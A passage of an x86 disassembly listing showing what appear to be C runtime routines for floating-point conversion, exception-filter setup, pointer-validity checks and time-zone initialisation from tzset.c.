		jmp	short loc_42D89C
; ---------------------------------------------------------------------------


loc_42D820:				; CODE XREF: sub_42D6C0+F9j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jl	short loc_42D86B
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42D560
		add	esp, 4
		mov	eax, [ebp+var_18]
		or	eax, 80000000h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42D5D0
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_8]
		add	edx, [eax+14h]
		mov	[ebp+var_8], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_42D89C
; ---------------------------------------------------------------------------


loc_42D86B:				; CODE XREF: sub_42D6C0+168j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+14h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_18]
		and	eax, 7FFFFFFFh
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42D5D0
		add	esp, 8
		mov	[ebp+var_1C], 0


loc_42D89C:				; CODE XREF: sub_42D6C0:loc_42D74Bj
					; sub_42D6C0+EBj ...
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		add	edx, 1
		mov	eax, 20h
		sub	eax, edx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		shl	edx, cl
		mov	eax, [ebp+var_18]
		or	eax, edx
		mov	ecx, [ebp+var_20]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	eax, ecx
		mov	[ebp+var_24], eax
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+10h], 40h
		jnz	short loc_42D8EA
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_14]
		mov	[edx], eax
		jmp	short loc_42D8FB
; ---------------------------------------------------------------------------


loc_42D8EA:				; CODE XREF: sub_42D6C0+215j
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+10h], 20h
		jnz	short loc_42D8FB
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_24]
		mov	[edx], eax


loc_42D8FB:				; CODE XREF: sub_42D6C0+228j
					; sub_42D6C0+231j
		mov	eax, [ebp+var_1C]
		mov	esp, ebp
		pop	ebp
		retn
sub_42D6C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D910	proc near		; CODE XREF: sub_42DA10+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_451D18
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42D6C0
		add	esp, 0Ch
		pop	ebp
		retn
sub_42D910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D930	proc near		; CODE XREF: sub_42DA90+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_451D30
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42D6C0
		add	esp, 0Ch
		pop	ebp
		retn
sub_42D930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D950	proc near		; CODE XREF: .nsp0:0042DA7Ap
					; .nsp0:00431E3Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_8], eax
		push	40h
		lea	ecx, [ebp+var_10]
		push	ecx
		call	sub_42D430
		add	esp, 8
		test	eax, eax
		jz	short loc_42D9C7
		mov	[ebp+var_10], 80000000h
		mov	dx, word ptr [ebp+var_4]
		add	dx, 1
		mov	word ptr [ebp+var_4], dx


loc_42D9C7:				; CODE XREF: sub_42D950+62j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	eax, 7FFFh
		jnz	short loc_42D9DD
		mov	[ebp+var_14], 1


loc_42D9DD:				; CODE XREF: sub_42D950+84j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		or	edx, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], dx
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_42D950	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DA10	proc near		; CODE XREF: sub_427450+14p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_4312E0
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_42D910
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_42DA10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		lea	ecx, [ebp-10h]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_4312E0
		add	esp, 1Ch
		mov	eax, [ebp+8]
		push	eax
		lea	ecx, [ebp-0Ch]
		push	ecx
		call	sub_42D950
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DA90	proc near		; CODE XREF: sub_427450+34p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_4312E0
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_42D930
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_42DA90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DAD0	proc near		; CODE XREF: sub_4274A0+4Dp
					; sub_427690+45p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	30h
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42DAF4:				; CODE XREF: sub_42DAD0+69j
		cmp	[ebp+arg_4], 0
		jle	short loc_42DB3B
		mov	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42DB18
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		jmp	short loc_42DB1F
; ---------------------------------------------------------------------------


loc_42DB18:				; CODE XREF: sub_42DAD0+32j
		mov	[ebp+var_C], 30h


loc_42DB1F:				; CODE XREF: sub_42DAD0+46j
		mov	ecx, [ebp+var_4]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_42DAF4
; ---------------------------------------------------------------------------


loc_42DB3B:				; CODE XREF: sub_42DAD0+28j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		cmp	[ebp+arg_4], 0
		jl	short loc_42DB84
		mov	eax, [ebp+var_8]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 35h
		jl	short loc_42DB84
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42DB5B:				; CODE XREF: sub_42DAD0+A5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_42DB77
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42DB5B
; ---------------------------------------------------------------------------


loc_42DB77:				; CODE XREF: sub_42DAD0+94j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 1
		mov	eax, [ebp+var_4]
		mov	[eax], dl


loc_42DB84:				; CODE XREF: sub_42DAD0+75j
					; sub_42DAD0+80j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 31h
		jnz	short loc_42DBA0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx+4], ecx
		jmp	short loc_42DBC6
; ---------------------------------------------------------------------------


loc_42DBA0:				; CODE XREF: sub_42DAD0+BDj
		mov	eax, [ebp+arg_0]
		add	eax, 1
		push	eax
		call	sub_418D00
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41D520
		add	esp, 0Ch


loc_42DBC6:				; CODE XREF: sub_42DAD0+CEj
		mov	esp, ebp
		pop	ebp
		retn
sub_42DAD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DBD0	proc near		; CODE XREF: sub_4274A0+1Ep
					; sub_427690+1Ep ...

var_28		= word ptr -28h
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_42DC50
		add	esp, 8
		lea	edx, [ebp+var_28]
		push	edx
		push	0
		push	11h
		sub	esp, 0Ch
		mov	eax, esp
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_8]
		mov	[eax+4], edx
		mov	cx, [ebp+var_4]
		mov	[eax+8], cx
		call	sub_431E60
		add	esp, 18h
		mov	edx, [ebp+arg_8]
		mov	[edx+8], eax
		movsx	eax, [ebp+var_26]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		movsx	edx, [ebp+var_28]
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		lea	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_41C300
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+arg_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42DBD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DC50	proc near		; CODE XREF: sub_42DBD0+Ep

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], 80000000h
		mov	word ptr [ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+6]
		and	ecx, 7FF0h
		sar	ecx, 4
		mov	word ptr [ebp+var_14], cx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		and	edx, 0FFFFFh
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jz	short loc_42DCC7
		cmp	[ebp+var_1C], 7FFh
		jz	short loc_42DCBF
		jmp	short loc_42DD0A
; ---------------------------------------------------------------------------


loc_42DCBF:				; CODE XREF: sub_42DC50+6Bj
		mov	word ptr [ebp+var_4], 7FFFh
		jmp	short loc_42DD25
; ---------------------------------------------------------------------------


loc_42DCC7:				; CODE XREF: sub_42DC50+62j
		cmp	[ebp+var_8], 0
		jnz	short loc_42DCF4
		cmp	[ebp+var_10], 0
		jnz	short loc_42DCF4
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+8], 0
		jmp	loc_42DDAE
; ---------------------------------------------------------------------------


loc_42DCF4:				; CODE XREF: sub_42DC50+7Bj
					; sub_42DC50+81j
		movsx	eax, word ptr [ebp+var_14]
		add	eax, 3C01h
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_C], 0
		jmp	short loc_42DD25
; ---------------------------------------------------------------------------


loc_42DD0A:				; CODE XREF: sub_42DC50+6Dj
		mov	cx, word ptr [ebp+var_14]
		sub	cx, 3FFh
		mov	word ptr [ebp+var_14], cx
		movsx	edx, word ptr [ebp+var_14]
		add	edx, 3FFFh
		mov	word ptr [ebp+var_4], dx


loc_42DD25:				; CODE XREF: sub_42DC50+75j
					; sub_42DC50+B8j
		mov	eax, [ebp+var_8]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, 15h
		or	ecx, edx
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		shl	ecx, 0Bh
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_42DD49:				; CODE XREF: sub_42DC50+142j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_42DD94
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 80000000h
		neg	edx
		sbb	edx, edx
		neg	edx
		or	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	dx, word ptr [ebp+var_4]
		sub	dx, 1
		mov	word ptr [ebp+var_4], dx
		jmp	short loc_42DD49
; ---------------------------------------------------------------------------


loc_42DD94:				; CODE XREF: sub_42DC50+107j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ax


loc_42DDAE:				; CODE XREF: sub_42DC50+9Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42DC50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		call	sub_41EB30
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DDD0	proc near		; DATA XREF: sub_42DE30+3o
					; .nsp0:00451A60o ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_42DDFE
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42DDFE
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	short loc_42DDFE
		call	sub_428670


loc_42DDFE:				; CODE XREF: sub_42DDD0+Ej
					; sub_42DDD0+19j ...
		cmp	dword_4EFAD0, 0
		jz	short loc_42DE25
		mov	eax, dword_4EFAD0
		push	eax
		call	sub_42DED0
		add	esp, 4
		test	eax, eax
		jz	short loc_42DE25
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4EFAD0
		jmp	short loc_42DE27
; ---------------------------------------------------------------------------


loc_42DE25:				; CODE XREF: sub_42DDD0+35j
					; sub_42DDD0+47j
		xor	eax, eax


loc_42DE27:				; CODE XREF: sub_42DDD0+53j
		pop	ebp
		retn	4
sub_42DDD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DE30	proc near		; DATA XREF: .nsp0:0043A02Co
		push	ebp
		mov	ebp, esp
		push	offset sub_42DDD0
		call	dword_4F12E8	; SetUnhandledExceptionFilter
		mov	dword_4EFAD0, eax
		pop	ebp
		retn
sub_42DE30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DE50	proc near		; DATA XREF: .nsp0:0043A044o
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4EFAD0
		push	eax
		call	dword_4F12E8	; SetUnhandledExceptionFilter
		pop	ebp
		retn
sub_42DE50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DE70	proc near		; CODE XREF: sub_427AB0+9Ep
					; sub_4282C0+77p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F143C	; IsBadReadPtr
		test	eax, eax
		jz	short loc_42DE94
		mov	[ebp+var_4], 0


loc_42DE94:				; CODE XREF: sub_42DE70+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42DE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DEA0	proc near		; CODE XREF: sub_4282C0+89p
					; sub_4282C0+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F1438	; IsBadWritePtr
		test	eax, eax
		jz	short loc_42DEC4
		mov	[ebp+var_4], 0


loc_42DEC4:				; CODE XREF: sub_42DEA0+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42DEA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DED0	proc near		; CODE XREF: sub_4282C0+1E2p
					; sub_42DDD0+3Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F12E4	; IsBadCodePtr
		test	eax, eax
		jz	short loc_42DEF0
		mov	[ebp+var_4], 0


loc_42DEF0:				; CODE XREF: sub_42DED0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42DED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DF00	proc near		; CODE XREF: sub_4286DEp
		push	ebp
		mov	ebp, esp
		push	0Ah
		call	sub_42AB10
		add	esp, 4
		push	16h
		call	sub_42B3C0
		add	esp, 4
		push	3
		call	sub_41B5A0
		pop	ebp
		retn
sub_42DF00	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DF20	proc near		; CODE XREF: sub_4287B0+8Ap
					; sub_432C00:loc_43311Bp
		push	ebp
		mov	ebp, esp
		cmp	dword_4EFB90, 0
		jnz	short loc_42DF5B
		push	0Bh
		call	sub_41FB40
		add	esp, 4
		cmp	dword_4EFB90, 0
		jnz	short loc_42DF51
		call	sub_42DF80
		mov	eax, dword_4EFB90
		add	eax, 1
		mov	dword_4EFB90, eax


loc_42DF51:				; CODE XREF: sub_42DF20+1Dj
		push	0Bh
		call	sub_41FBE0
		add	esp, 4


loc_42DF5B:				; CODE XREF: sub_42DF20+Aj
		pop	ebp
		retn
sub_42DF20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0Bh
		call	sub_41FB40
		add	esp, 4
		call	sub_42DF80
		push	0Bh
		call	sub_41FBE0
		add	esp, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DF80	proc near		; CODE XREF: sub_42DF20+1Fp
					; .nsp0:0042DF6Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		push	0Ch
		call	sub_41FB40
		add	esp, 4
		mov	dword_4EFAD8, 0
		mov	dword_451DF0, 0FFFFFFFFh
		mov	eax, dword_451DF0
		mov	dword_451DE0, eax
		push	offset aTz	; "TZ"
		call	sub_4323B0
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	loc_42E103
		push	0Ch
		call	sub_41FBE0
		add	esp, 4
		push	offset dword_4EFAE0
		call	dword_4F1448	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	loc_42E0FE
		mov	dword_4EFAD8, 1
		mov	ecx, dword_4EFAE0
		imul	ecx, 3Ch
		mov	dword_451D48, ecx
		xor	edx, edx
		mov	dx, word_4EFB26
		test	edx, edx
		jz	short loc_42E029
		mov	eax, dword_4EFB34
		imul	eax, 3Ch
		mov	ecx, dword_451D48
		add	ecx, eax
		mov	dword_451D48, ecx


loc_42E029:				; CODE XREF: sub_42DF80+91j
		xor	edx, edx
		mov	dx, word_4EFB7A
		test	edx, edx
		jz	short loc_42E05E
		cmp	dword_4EFB88, 0
		jz	short loc_42E05E
		mov	dword_451D4C, 1
		mov	eax, dword_4EFB88
		sub	eax, dword_4EFB34
		imul	eax, 3Ch
		mov	dword_451D50, eax
		jmp	short loc_42E072
; ---------------------------------------------------------------------------


loc_42E05E:				; CODE XREF: sub_42DF80+B4j
					; sub_42DF80+BDj
		mov	dword_451D4C, 0
		mov	dword_451D50, 0


loc_42E072:				; CODE XREF: sub_42DF80+DCj
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0
		push	3Fh
		mov	edx, off_451DD4
		push	edx
		push	0FFFFFFFFh
		push	offset dword_4EFAE4
		push	220h
		mov	eax, dword_4EF984
		push	eax
		call	dword_4F141C	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_42E0AF
		cmp	[ebp+var_8], 0
		jnz	short loc_42E0AF
		mov	ecx, off_451DD4
		mov	byte ptr [ecx+3Fh], 0
		jmp	short loc_42E0B8
; ---------------------------------------------------------------------------


loc_42E0AF:				; CODE XREF: sub_42DF80+11Bj
					; sub_42DF80+121j
		mov	edx, off_451DD4
		mov	byte ptr [edx],	0


loc_42E0B8:				; CODE XREF: sub_42DF80+12Dj
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	3Fh
		mov	ecx, off_451DD8
		push	ecx
		push	0FFFFFFFFh
		push	offset dword_4EFB38
		push	220h
		mov	edx, dword_4EF984
		push	edx
		call	dword_4F141C	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_42E0F5
		cmp	[ebp+var_8], 0
		jnz	short loc_42E0F5
		mov	eax, off_451DD8
		mov	byte ptr [eax+3Fh], 0
		jmp	short loc_42E0FE
; ---------------------------------------------------------------------------


loc_42E0F5:				; CODE XREF: sub_42DF80+162j
					; sub_42DF80+168j
		mov	ecx, off_451DD8
		mov	byte ptr [ecx],	0


loc_42E0FE:				; CODE XREF: sub_42DF80+67j
					; sub_42DF80+173j
		jmp	loc_42E327
; ---------------------------------------------------------------------------


loc_42E103:				; CODE XREF: sub_42DF80+49j
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42E12D
		cmp	dword_4EFB8C, 0
		jz	short loc_42E13C
		mov	ecx, dword_4EFB8C
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_41C4C0
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E13C


loc_42E12D:				; CODE XREF: sub_42DF80+18Bj
		push	0Ch
		call	sub_41FBE0
		add	esp, 4
		jmp	loc_42E327
; ---------------------------------------------------------------------------


loc_42E13C:				; CODE XREF: sub_42DF80+194j
					; sub_42DF80+1ABj
		push	2
		mov	eax, dword_4EFB8C
		push	eax
		call	sub_419980
		add	esp, 8
		push	10Ch
		push	offset aTzset_c	; "tzset.c"
		push	2
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_418D00
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_418EF0
		add	esp, 10h
		mov	dword_4EFB8C, eax
		cmp	dword_4EFB8C, 0
		jnz	short loc_42E18D
		push	0Ch
		call	sub_41FBE0
		add	esp, 4
		jmp	loc_42E327
; ---------------------------------------------------------------------------


loc_42E18D:				; CODE XREF: sub_42DF80+1FCj
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, dword_4EFB8C
		push	eax
		call	sub_41C300
		add	esp, 8
		push	0Ch
		call	sub_41FBE0
		add	esp, 4
		push	3
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, off_451DD4
		push	edx
		call	sub_41B1F0
		add	esp, 0Ch
		mov	eax, off_451DD4
		mov	byte ptr [eax+3], 0
		mov	ecx, [ebp+var_C]
		add	ecx, 3
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 2Dh
		jnz	short loc_42E1ED
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_42E1ED:				; CODE XREF: sub_42DF80+259j
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41B2F0
		add	esp, 4
		imul	eax, 0E10h
		mov	dword_451D48, eax


loc_42E204:				; CODE XREF: sub_42DF80+2AEj
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Bh
		jz	short loc_42E225
		mov	eax, [ebp+var_C]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jl	short loc_42E230
		mov	edx, [ebp+var_C]
		movsx	eax, byte ptr [edx]
		cmp	eax, 39h
		jg	short loc_42E230


loc_42E225:				; CODE XREF: sub_42DF80+28Dj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_42E204
; ---------------------------------------------------------------------------


loc_42E230:				; CODE XREF: sub_42DF80+298j
					; sub_42DF80+2A3j
		mov	edx, [ebp+var_C]
